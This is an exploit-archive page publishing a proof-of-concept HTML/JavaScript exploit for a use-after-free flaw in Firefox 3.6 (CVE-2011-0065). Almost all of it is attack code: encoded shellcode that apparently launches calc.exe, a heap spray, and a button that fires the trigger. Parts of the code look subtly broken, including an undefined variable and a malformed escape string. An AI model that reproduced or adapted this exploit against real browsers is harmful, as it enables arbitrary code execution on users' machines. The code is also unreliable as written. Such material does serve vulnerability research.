Home / exploitsPDF  

Mozilla Firefox 3.6 mChannel Use-After-Free

Posted on 25 November 2014

<!-- Exploit Author: Juan Sacco Name: Mozilla Firefox 3.6 mChannel ( Universal ) Description: Mozilla Firefox 3.6 is prone to an use-after-free vulnerability in OBJECT mChannel that allows an attacker to execute arbitrary code. Tested on Windows XP SP3 CVE: 2011-0065 --> <html> <head> </head> <body> <pre> # Title: Firefox 3.6 ( Universal ) </pre> <object id="exploit" ></object> <script> function exploit() { var foo=document.getElementById("exploit"); e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0); var vftable = unescape("x00% u0c10"); var shellcode = unescape("%u0004%u0c10%uBCBB%u68F1%u0105%u0106%uBE51%u6623%u0030%u0c10%u7C2A%u68F0%u5B33%u661C%u0030%u0c10%uF1DD%u68F2%u0030%u0c10%u9000%u0000%u0040%u0000%u0c0c%u0c0c%u0038%u0c10%u9090%u9090%u9090%u9090%uC781%u986D%u0007%u078B%uF505%u03F6%u9000%u9090%u056A%uC181%u008E%u0000%u9051%uF08B%uD0FF%ucccc%uEE81%u95Fa%u0004%uFF6A%uD6FF%uCCCC%u6163%u636c%u652e%u6578%u0000%ucccc"); var vtable = unescape("%u0c0c%u0c0c"); while(vtable.length < 0x10000) {vtable += vtable;} var heapblock = shellcode+vtable.substring(0,0x10000/2-shellcode.length*2); while (heapblock.length<0x80000) {heapblock += shellcode+heapblock;} var finalspray = heapblock.substring(0,0x80000 - shellcode.length - 0x24/2 - 0x4/2 - 0x2/2); var heapspray = new Array() for (var i=0;i<0x100;i++){ heapspray[i] = finalspray+shellcode; } foo.data="";} </script> <input type=button value="Exploit" onclick="exploit()" /> </body> </html>

 

TOP